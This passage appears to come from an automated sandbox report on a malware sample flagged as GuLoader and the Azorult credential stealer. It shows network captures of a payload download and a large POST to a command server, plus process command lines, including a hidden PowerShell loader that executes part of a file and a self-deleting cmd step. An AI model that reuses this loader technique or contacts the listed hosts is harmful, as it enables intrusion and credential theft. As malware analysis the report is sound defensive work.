Sep 11, 2024 18:23:46.925909996 CEST	536	IN	Data Raw: 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 31 39 30 31 30 65 64 66 32 34 38 63 33 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 Data Ascii: 04800}Server: cloudflareCF-RAY: 8c19010edf248c3f-EWRalt-svc: h3=":443"; ma=86400588?6Ow3!PeOHh-PVePIh9Q`U/0`I6eKH<h7N$@:fyh/B>@IsWIWIhlPE{1av1M6P:g3l DlH
Sep 11, 2024 18:23:46.925920010 CEST	536	IN	Data Raw: e2 9d c9 12 5f 67 68 6f af cd 30 9e 02 99 cb 33 54 66 66 65 af cb 30 9e 02 8d cb 33 54 46 66 65 af cb 30 8e 02 8d cb 33 54 64 66 65 a5 cb 30 9e 08 9d cb 33 5e 66 66 65 af cb 30 9e 02 ad cb 33 54 64 66 65 a3 81 30 9e 01 9d 8b 36 54 66 62 65 af db Data Ascii: _gho03Tffe03TFfe03Tdfe03^ffe03Tdfe06Tfbe03Tvfe03Twfe03Tffe03Tffe03l[fe03Tvfe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe0,K ffe0
Sep 11, 2024 18:23:46.925971031 CEST	441	IN	Data Raw: 3f c8 30 9e 2c ef b8 41 37 42 56 57 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 d5 dc 44 c9 af cb 30 9e b6 8c cb 33 55 66 66 65 a1 cb 30 9e 0c 9d cb 33 7c 77 66 65 cf da 30 9e 9a 8c cb 33 b0 77 66 65 a8 d9 30 9e 2e 8f cb 33 03 74 Data Ascii: ?0,A7BVW03Tffe03D03Uffe03\|wfe03wfe0.3tfe>03tfe0E3;ufe403ufe03wfe0F3'tfe03\ufe0`3ufe03Rrfe13Pfce73^fme=c9Km7UnyVH0
Sep 11, 2024 18:23:46.926254034 CEST	536	IN	Data Raw: 33 65 65 39 0d 0a 56 20 28 13 08 cd ae 42 d1 64 de a4 5d 27 09 0a 00 e6 a5 40 eb 76 d8 bd 56 3a 12 15 65 ff ae 55 f5 41 f2 a5 40 3b 0a 03 2c c1 bb 45 ea 43 9d a0 56 26 08 03 09 9c f9 1e ce 67 f8 a0 70 3b 08 15 0a c3 ae 79 f0 72 e8 bf 72 54 34 03 Data Ascii: 3ee9V (Bd]'@vV:eUA@;,ECV&gp;yrrT4_qVfU1a1&Cn3^mz:[p_gTH7Tm\8/DR0%\KF 1f^n^mz:bc\:0gV8UTKQA@;2U
Sep 11, 2024 18:23:46.926263094 CEST	536	IN	Data Raw: 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb Data Ascii: ffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe
Sep 11, 2024 18:23:46.926273108 CEST	536	IN	Data Raw: 9d b9 33 3d 66 08 65 c8 cb 76 9e 6b 9d a7 33 31 66 2f 65 c1 cb 56 9e 6d 9d cb 33 e8 64 66 65 ae cb 00 9e 36 9d fb 33 6d 66 56 65 9b cb 72 9e 32 9d cb 33 18 66 70 65 ae cb 73 9e 6d 9d a6 33 24 66 07 65 c1 cb 49 9e 4c 9d aa 33 39 66 03 65 af cb 30 Data Ascii: 3=fevk31f/eVm3dfe63mfVer23fpesm3$feIL39fe0O37feCm3 fFe_p3;feDk3:ffe 3=fetg37fe@v3;fe0C3=f5eD"3 feF3ffe3=fefg3'fe^3efVe,3
Sep 11, 2024 18:23:46.926285028 CEST	536	IN	Data Raw: cb 43 9e 67 9d bf 33 27 66 12 65 da cb 52 9e 02 9d cb 33 3e 66 43 65 ae cb 60 9e 70 9d a4 33 30 66 13 65 cc cb 44 9e 4c 9d aa 33 39 66 03 65 af cb 30 9e 4f 9d a2 33 37 66 14 65 c0 cb 43 9e 6d 9d ad 33 20 66 c8 65 8f cb 67 9e 6b 9d a5 33 30 66 09 Data Ascii: Cg3'feR3>fCe`p30feDL39fe0O37feCm3 fegk30feC3feBc3=feQ3'fe]3fhe`p30feDT3&fe_l3efVe,3bfTe,3affe035feYn3fe_3pfbedp3:feQ
Sep 11, 2024 18:23:46.926292896 CEST	536	IN	Data Raw: 05 14 0a dc a4 56 ea 22 de a4 41 24 09 14 04 db a2 5f f0 33 bc fb 2c 52 65 33 61 ac d8 28 d3 6b fe b9 5c 27 09 00 11 8f 9f 59 f3 67 b0 98 47 35 0b 16 45 ff 88 71 ae 1c 8a c6 02 62 56 5f 55 98 fa 07 ab 3a a8 fb 69 43 6b 57 5d 9f f2 00 a9 33 aa fe Data Ascii: V"A$_3,Re3a(k\'YgG5EqbV_U:iCkW]3aV<U.y20b`vc5W3bmgq]37Sua7]l-dz`f:P&m\&20bmv3Re3a.A[1F!Qf#QH/fWCU3/
Sep 11, 2024 18:23:47.016369104 CEST	536	IN	Data Raw: 87 3e 10 6c b2 3f c2 7b 92 4a 4f 03 75 17 2c db ad 7d 74 30 c9 33 9f 02 9c 68 b1 55 6f 56 e7 ae ce 00 83 04 9e 9e 2e 5a 62 70 61 bb 2e 57 a8 57 c2 7b ca 06 a3 ca 2e 79 a5 05 21 8a a7 66 76 fb 56 79 63 ac 9e 2d bd 06 85 fb 25 d4 72 45 51 57 12 62 Data Ascii: >l?{JOu,}t03hUoV.Zbpa.WW{.y!fvVyc-%rEQWbr&s{gRe3x}I#Dr7KSmU H@kA8IEv~=VVVs,_d>`m12P*V/6)6QaVg)Xv{Yp\2HiP
Sep 11, 2024 18:23:47.084613085 CEST	536	IN	Data Raw: 0f 34 b0 81 b2 a3 db a7 5e 6b 7a e8 eb 7c 64 bf 88 d3 fb d3 b1 b5 b4 de 6a 4e f7 12 49 0d fd 9f 6c ae 55 2d cf db ae 80 9e 18 93 57 64 67 67 ad d8 03 9e 02 9c b3 16 0e d3 ab 46 69 94 a5 9e 03 9d cb 32 2c 56 6b 63 a6 e1 b6 d6 84 6a c6 32 55 63 63 Data Ascii: 4^kz\|djNIlU-WdggFi2,Vkcj2Ucce20b`vc5W3bmgq]37Sua7]l-dz`f:P&m\&20bevYp\2F&UQ]=EqcV^T3iCkW]0eS<U.I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	104.21.14.133	80	6208	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 18:23:58.537022114 CEST	165	OUT	POST /HH341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: h8m5b.shop Content-Length: 43656 Cache-Control: no-cache
Sep 11, 2024 18:23:58.537096977 CEST	11124	OUT	Data Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 65 8b 30 61 8b 30 65 ec 26 66 9b 26 66 97 41 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10e0a0e&f&fAp:pG0g0`0a@p3&f&f&g&fm1t&1e0d0e1em!q%j&-0c0a&f&f&f&f&f&f4e:p)0e&fp3)0f0gF)1Bm@4`@x1l.aA7b@cGc:;a
Sep 11, 2024 18:23:58.544641972 CEST	21012	OUT	Data Raw: 59 19 fc 4e 11 fd 41 13 eb 49 04 f7 4d 1b e5 57 1d ec 4e 1f e3 56 1d f8 56 1a e7 55 0f fc 56 19 e4 45 13 f7 4a 00 e3 4c 1d fb 44 16 e4 56 0c f4 44 0d e5 5b 1b e7 54 0f fb 48 07 e7 5a 11 f4 42 01 eb 4c 0d e9 4e 1d fb 53 1a e1 41 1c e6 46 10 f8 53 Data Ascii: YNAIMWNVVUVEJLDVD[THZBLNSAFSFGKHWNEZGQYVKJBLMTGYIZNLPPDEGK@PUZHHJAK[FGQNWU[UKJLWB
Sep 11, 2024 18:23:58.544724941 CEST	2472	OUT	Data Raw: 4f 1f eb 59 13 e0 42 1d e8 4e 07 e0 4c 1b ed 4f 10 f6 4f 1d f6 55 03 e7 4b 14 ec 45 1f f4 45 1d e1 42 07 f4 45 14 fc 40 18 e3 42 17 e0 44 58 a4 53 1e ad 07 41 ae 03 55 ae 03 55 ae 03 55 ef db 08 72 01 51 ae 03 57 aa 03 55 8c 03 55 ae 45 3c c2 66 Data Ascii: OYBNLOOUKEEBE@BDXSAUUUrQWUUE<f&1EEO_LA[g:{LA[VVUUKDGBLSRTKMPVTPUEUINFTRPDIFIYKMSSZVKW
Sep 11, 2024 18:23:58.552038908 CEST	7416	OUT	Data Raw: 4e 1a f7 48 1a e0 59 1f e4 4b 03 f7 5a 1d ea 55 0f ff 53 17 f8 4f 14 eb 5a 0c e8 56 19 ff 55 1c ef 49 16 ff 5a 16 ea 40 10 e9 47 05 fc 51 19 f6 5b 0f f6 45 1c fe 5b 0f f7 50 0f f7 4c 1d eb 42 05 ed 4a 06 ed 52 04 e7 42 0d f8 53 14 ff 56 03 e6 44 Data Ascii: NHYKZUSOZVUIZ@GQ[E[PLBJRBSVDKAYOYALGSMURYKKFOFDUIISTJ@RLBNQUZWZYFAOKINZZFWYMMU[W@
Sep 11, 2024 18:23:58.552340031 CEST	1632	OUT	Data Raw: 03 55 ae 03 54 ae 23 55 ae 03 11 95 03 55 e8 6a 39 cb 70 09 9f 5f 17 e4 59 13 fe 53 02 ef 53 01 f2 41 1f f4 45 05 fe 54 14 fe 57 7b ca 6c 36 d6 53 1e af 01 5b ae 0d 55 ae 03 55 ae 03 55 ae 03 56 6e 77 f5 ac 07 55 ae 01 51 ae 03 77 ae 03 55 ae 03 Data Ascii: UT#UUj9p_YSSAETW{l6S[UUUVnwUQwUUUUjo0_dAETWDMH--p-HTUUUUpWUUUUUuUf@UE<f&1ISB-1`-HTUUUUpWUUUUUuUQDU
Sep 11, 2024 18:24:02.071444035 CEST	629	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 16:24:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J6QixBZ%2FsK3f1Uovkiyum0UkpOROhRuPNsIPVxHYlMJQQwxTQLSg55mSPwgk%2BIUsbk1t2Z7XODP1SMX%2FbWNulyDTuF6uRxS%2FU2am%2FwxGtDpLP13bBE0tL2GhBX99"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c1901619a6543a4-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7falseOK0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	27.114.150.50	443	6208	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 16:23:43 UTC	203	OUT	GET /BVXLyakFdBSowAQOYfOVPi201.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: portal.expertmotorservices.mv Cache-Control: no-cache
2024-09-11 16:23:43 UTC	314	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Mon, 26 Aug 2024 15:31:31 GMT Accept-Ranges: bytes ETag: "4cf5a96cdf7da1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Wed, 11 Sep 2024 16:23:42 GMT Connection: close Content-Length: 114752
2024-09-11 16:23:43 UTC	16070	IN	Data Raw: 8e b4 8c d0 ab 56 c9 94 02 58 5c 82 e6 29 39 5c 4a d3 f9 65 d9 b4 ea eb 69 76 ec 03 47 20 1a b3 9a 6a 9e 43 88 1c 37 6c 8c 9c 0d 77 dc aa a6 91 af 2f 7f 1e 67 d6 f2 ff 92 25 7a 44 ec 73 71 fb 0a 7c 97 8b ba e9 b5 cf 97 ce cf 47 cc b4 23 d7 d8 d5 6d 0e bf f2 40 17 77 e0 8e 47 bb 6f 8e ca 86 46 d8 b8 2c ea c6 67 f8 6c a8 67 8a 56 da 92 e0 84 b4 05 0b 34 fd d0 0c f2 71 68 1d 2c 47 15 d4 c3 c5 9f dc ca cf b6 44 ca d8 cb 1b 97 2a 24 26 15 99 40 5d 3c 36 e1 e6 9a f1 d6 0c 59 38 ba a5 4a b8 6b 6b e2 c5 33 ec 73 89 37 d7 a6 fe 22 aa 14 79 65 1b 8e dc f3 0f 8b c3 ad 39 77 66 b6 48 f6 cf 46 6a 90 b9 6c 51 46 5d b0 46 55 31 d1 e0 4b 31 e7 64 17 37 bb bc 51 6b 0e 04 4a 23 98 ac 74 f1 4e 0a 7d a8 26 c6 63 d3 4a 0c 7c 7f be bc 4d 99 c8 26 d9 07 24 a9 1e 0a d6 28 f2 2b Data Ascii: VX\)9\JeivG jC7lw/g%zDsq\|G#m@wGoF,glgV4qh,GD*$&@]<6Y8Jkk3s7"ye9wfHFjlQF]FU1K1d7QkJ#tN}&cJ\|M&$(+
2024-09-11 16:23:43 UTC	16384	IN	Data Raw: c2 1a 09 22 31 0c e7 08 46 81 9d fd 26 8b e0 bd dc 7c c9 a4 2a 22 5c f1 cf ee 04 cf 41 9b 23 b1 21 f6 57 a5 e6 32 95 3f b3 9f e4 2d 62 f3 15 20 38 64 9d e2 21 6c ff 5d 5e 97 e0 e1 5d 67 a1 4f 54 cc 67 7f 83 18 c6 a8 de b5 a2 fc 0b 23 11 71 ad d9 38 b8 78 b3 ec 96 f7 47 d0 2f c5 01 63 d7 ed 90 91 e6 49 1b bf e8 f4 09 18 a3 44 90 65 3a d8 1d 81 e5 ef 7a 93 ec 14 06 a8 34 dc dd 28 19 38 b7 74 50 63 0b b6 90 0c 96 8e 58 79 a4 67 98 2b 2f 4e 42 2b 73 34 84 9a f9 9c 7b 5d 60 52 93 8d 82 0f 00 bd 16 1d d7 e5 61 80 d3 6a 7f 0d c9 5c 2f 26 e6 09 60 4f a2 0f ef db b7 4d 2b 35 85 9d 21 13 0a d5 14 ad 4f e3 08 07 5d 6a 44 b4 3f 1d 06 fc 94 3f f8 0b 27 11 46 39 4f 74 31 b8 f3 8a 4c bc b2 91 45 5f bf ac 51 6b 5e ec c3 e6 67 53 f9 b4 be 87 28 5d 9f c1 63 d3 4a e4 bd 94 Data Ascii: "1F&\|*"\A#!W2?-b 8d!l]^]gOTg#q8xG/cIDe:z4(8tPcXyg+/NB+s4{]`Raj\/&`OM+5!O]jD??'F9Ot1LE_Qk^gS(]cJ
2024-09-11 16:23:44 UTC	16384	IN	Data Raw: c2 4d 7d 77 6f 1f 6a d2 f0 f5 42 a6 41 5b 43 1e 0f 24 90 03 ad c0 f1 8d 39 4e eb 42 38 85 fc 5b 76 63 41 28 b8 9e fc 38 0b b4 ef f5 21 01 26 a8 cd 0e 1f d6 ec 2c 1c b5 f1 6e eb d4 e9 8f e8 5a 1f 75 6d 6a b3 06 8a 39 f0 55 69 92 25 73 ef af 4d 2a 8e aa aa 21 56 62 bc f1 43 d3 a4 46 1e 9d 36 cb b7 ad c2 50 0e 2f 82 d2 a5 b5 0b 48 f0 7e 63 04 11 8d 55 d5 48 a5 30 12 ce 2e d5 a0 a8 35 25 3b 84 1d 49 0d 93 29 79 13 d5 6b cd 3c a5 fa ef 69 6d b6 7c 7f aa b2 72 71 20 d4 48 e0 dd 42 6b 06 40 65 c2 fe 93 3c 43 ed 85 0a 00 2e 51 23 95 87 81 12 68 a6 67 3d 9a f4 30 32 67 41 85 e4 56 d3 65 c0 5e 2e 92 42 a0 d8 fa e6 e6 c3 36 1f ff ce 4f f7 df 37 b7 03 34 de 0e 1a 4f f9 3a 78 96 27 77 e8 43 a9 1d 2f c3 cb 3d a4 f8 29 d9 5b 05 24 e3 cc a9 37 f1 e4 a4 f8 34 df 56 b8 d3 Data Ascii: M}wojBA[C$9NB8[vcA(8!&,nZumj9Ui%sM*!VbCF6P/H~cUH0.5%;I)yk<im\|rq HBk@e<C.Q#hg=02gAVe^.B6O74O:x'wC/=)[$74V
2024-09-11 16:23:44 UTC	16384	IN	Data Raw: c6 c7 b6 6d df 5f ef 8e 81 de 4b 18 04 de e2 6e dc fa 87 74 be f5 4d c7 1d e2 05 53 1c c4 e1 9f 76 54 8a 84 94 b9 57 0d 4e 90 4c 91 00 58 72 42 1b 9e 43 53 3b 5a 30 b8 f8 41 a6 06 3d 80 79 83 0b f8 67 3d 5b bb dc 1d e1 14 8e 63 d6 19 e2 77 89 f5 ef 27 9e 1c 1b ef a1 71 cc ae 04 47 ec e8 d5 7b 7b 3c e7 26 d5 8e b4 a7 ae ff 8e ad 8e b9 c3 d8 87 3f cf 6f ed d7 33 84 a6 33 59 72 3b e1 98 54 aa 30 39 a2 76 c5 d1 23 7f a7 fd bb a4 fa 3c dd b0 67 b6 b8 20 23 9e e5 81 d2 69 cb e4 3f 03 de 75 76 ae 27 1b ee 6e 31 f0 44 34 fc ac 9f ae 6b d6 c4 2f eb d7 2a 64 c0 6c 58 8f ef 97 db f1 9d 01 b0 08 81 29 b1 14 da 9f a9 8d d8 c3 4e 83 22 4d b8 af 95 f4 c0 54 54 56 11 2d 9d 8e c3 10 16 a7 56 83 15 a5 cc e5 4f 45 00 42 a6 12 b9 ea 3e d9 d9 2d 32 02 19 4d 28 09 b2 82 4d bf Data Ascii: m_KntMSvTWNLXrBCS;Z0A=yg=[cw'qG{{<&?o33Yr;T09v#<g #i?uv'n1D4k/*dlX)N"MTTV-VOEB>-2M(M
2024-09-11 16:23:44 UTC	16384	IN	Data Raw: 48 15 2c ba 66 34 d1 cf 9a 51 dc bd e4 dc 7a 6c 8e 81 b5 f4 cb 2c 1d 0d cf dc b6 e6 3f 06 5a 18 91 cf c6 61 15 f4 a9 17 e1 d5 df 23 2d be ac 0c a3 e4 5d 17 38 31 fc 2f 99 0b ef e2 1f 63 7e 0f 7c d2 1a 44 c5 45 57 70 39 2a f2 2a db 3a 60 99 9d e2 4c cb 72 e5 4c d7 29 75 fb f9 25 71 7f f9 2d 9f 1a 21 fa 01 d6 26 08 1c 44 16 ed 5d a8 51 38 ee 15 3d 20 c9 4c 8f 7e b4 07 d6 f3 81 33 46 71 cd 61 92 fa 38 02 ca 25 f2 7c ba 73 8d 16 55 7c a0 5b 56 4b 60 6f 14 8d c1 2f 8b 33 fd ec 65 eb 4c b9 73 10 a6 f1 01 0f ec ce 82 6a 9c 1b 72 3f b9 ac cd 6a 18 1b a2 06 a5 57 3d 2e f7 58 85 cb a2 85 9e 56 17 ec fa 32 2a a8 ef c6 d9 6a a1 96 1b e7 7b c6 ee 89 21 d9 30 33 4e 1c df 65 bb 53 e3 32 bb 88 ec 94 82 03 15 7a 9b 93 f1 fc 30 8f d0 e1 b8 8e 20 68 f3 21 c7 24 95 0f 65 1a Data Ascii: H,f4Qzl,?Za#-]81/c~\|DEWp9*:`LrL)u%q-!&D]Q8= L~3Fqa8%\|sU\|[VK`o/3eLsjr?jW=.XV2j{!03NeS2z0 h!$e
2024-09-11 16:23:44 UTC	16384	IN	Data Raw: c5 dc 0d 61 ca 59 e7 a2 ef 42 a8 48 2e e4 e8 cc 1e 39 dd b2 4c 11 ba dc 7c e0 58 c0 da 65 bc 98 fc 0b 3b 11 20 b6 d8 38 06 3d 95 48 30 6c 9e 97 af 72 48 dc 28 e5 15 62 8b b6 09 bf e8 60 08 b7 44 44 90 05 8f 6a ae c3 43 d2 15 43 a7 f7 e3 96 9d 75 a9 e9 52 ba dd ed 61 82 24 95 c7 40 b3 71 e5 98 c1 bb ea 91 69 c7 91 c3 7e 2e d9 95 8c 26 0a 53 42 46 4b 8d c7 f2 33 7d 4c ac 8c 6b 16 6f 36 a9 c8 b1 36 2e 82 b5 fe b5 6f 3d d8 cc fb 18 ac 08 d6 de 75 c3 92 ad be e8 7b 75 41 07 76 3c 52 83 71 66 b6 48 1e a8 b6 94 6f 34 e9 71 bb a2 4f ae fd d8 2f 1f c6 b4 c3 99 e8 c8 01 b9 51 6b 0e ec 06 d3 66 53 f9 74 76 f7 82 57 9c c5 63 d3 4a e4 d0 96 40 43 c0 1c 8c db 26 f8 9e aa 1e 0a d6 c0 de db a9 15 d7 1d f8 d5 7d 27 20 f8 da d2 86 19 4e 0a 1a 76 9a 1a 47 33 34 ee 82 b7 30 Data Ascii: aYBH.9L\|Xe; 8=H0lrH(b`DDjCCuRa$@qi~.&SBFK3}Lko66.o=u{uAv<RqfHo4qO/QkfStvWcJ@C&}' NvG340
2024-09-11 16:23:44 UTC	16384	IN	Data Raw: 74 3f 44 a8 ed 05 5e 9f 21 41 d2 e3 b3 31 6e a2 3a 9b 9f 63 94 8a dd 7a 64 86 70 30 0e 28 24 04 27 23 64 c6 40 16 5e 2a c4 43 01 fd 11 06 88 56 f6 7a cb 02 6e ef 67 49 ba 73 db 4d d1 14 57 3d 8b d7 b1 b6 fd f6 51 bd 07 03 d5 48 bd 30 85 ec 29 d0 64 75 9f 23 d0 61 cb ca 70 d3 26 fa af a1 d1 18 bc 46 97 9a 79 0b b0 7e b3 40 3c 37 d9 70 b1 e7 81 d2 43 1f c8 c3 c2 7f de 61 2a 4a 8e ff 39 7d 95 5e 23 93 57 bd 5a a2 d4 ac 6a 62 29 5c 66 66 35 c6 28 24 22 9b 3f d5 e8 23 ec a0 b9 a1 e6 e6 c5 36 fb 24 16 b2 d3 62 81 49 fc b9 73 1a 07 19 af 49 c2 69 5d 05 3c 5a cd 7c 18 07 b3 49 6e bd 68 e5 a7 78 9a 1c fd fa c3 19 43 a4 b7 62 ac ec fd c6 d7 78 79 b6 49 81 1f e1 a4 92 e6 d1 11 a3 94 98 ba 80 04 54 cf 04 67 d6 11 ad 6d e8 eb 3f b4 52 b3 86 47 7d b1 de 88 54 68 b3 f7 Data Ascii: t?D^!A1n:czdp0($'#d@^CVzngIsMW=QH0)du#ap&Fy~@<7pCaJ9}^#WZjb)\ff5($"?#6$bIsIi]<Z\|InhxCbxyITgm?RG}Th
2024-09-11 16:23:44 UTC	378	IN	Data Raw: 30 f6 09 47 ed ed ad b4 9f 0f dd 07 84 ce 01 15 82 04 46 14 ce 3d a8 d8 2c 9d 58 eb 41 d7 74 02 63 2c 31 d4 96 fa 6d 31 d4 f5 9b d2 e2 d2 1e 71 e8 78 cc ae 28 33 dd f0 69 1f 9c f1 88 0c cf 9f 85 be e4 36 a0 12 05 f7 83 4b 35 30 b8 5b 1b 6c da 39 f2 83 c8 41 cc 67 35 f3 25 c8 fc 08 4b 7e 86 37 cc 50 96 05 1d 3f 97 4f 60 15 32 ee ad 5c 49 01 9c 2e 1e 73 8a cb 97 63 15 7a 60 5a 79 95 81 c7 34 98 de ce 5f 6e 55 f2 82 e0 1e a3 7c a6 43 37 52 4a ba 81 8d dc f3 4c 86 e3 c6 64 3a 41 5e 1f 2f 0a 83 55 3a 21 af 49 df 78 b8 ae 34 60 b8 5e 5d 50 14 7a d9 6e ef f0 c9 18 a5 2b 85 27 76 76 66 74 f4 1a 6e ee 00 4e 8e b9 00 93 f9 3d 3e 1a 79 76 47 8f be a1 47 39 26 b9 0c 66 e8 7e f2 6b 92 49 25 52 19 21 93 2d ad 87 9f 6a 40 dd 58 93 9a 44 be 52 32 f0 a9 a7 52 4d ad 76 ce Data Ascii: 0GF=,XAtc,1m1qx(3i6K50[l9Ag5%K~7P?O`2\I.scz`Zy4_nU\|C7RJLd:A^/U:!Ix4`^]Pzn+'vvftnN=>yvGG9&f~kI%R!-j@XDR2RMv

Target ID:	0
Start time:	12:22:59
Start date:	11/09/2024
Path:	C:\Users\user\Desktop\SN890156.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SN890156.exe"
Imagebase:	0x400000
File size:	597'280 bytes
MD5 hash:	62EAB9F468C6599A5A972C3FD1D5AAA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:22:59
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)"
Imagebase:	0x170000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2500281603.000000000BEA2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:22:59
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:23:34
Start date:	11/09/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0xab0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000005.00000002.2677701266.0000000023EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000005.00000002.2678292053.0000000024BD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:24:01
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:24:01
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:24:01
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\timeout.exe 3
Imagebase:	0xf90000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.3%
Total number of Nodes:	1333
Total number of Limit Nodes:	30

Executed Functions

Function 0040326A Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0040328C
GetVersion.KERNEL32 ref: 00403292
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004032E2
OleInitialize.OLE32(00000000), ref: 004032E9
SHGetFileInfoW.SHELL32(004206C8,00000000,?,000002B4,00000000), ref: 00403305
GetCommandLineW.KERNEL32(00428220,NSIS Error), ref: 0040331A
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\SN890156.exe",00000000), ref: 0040332D
CharNextW.USER32(00000000,"C:\Users\user\Desktop\SN890156.exe",00000020), ref: 00403354

Part of subcall function 004063F5: GetModuleHandleA.KERNEL32(?,?,00000020,004032D6,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00406407
Part of subcall function 004063F5: GetProcAddress.KERNEL32(00000000,?), ref: 00406422

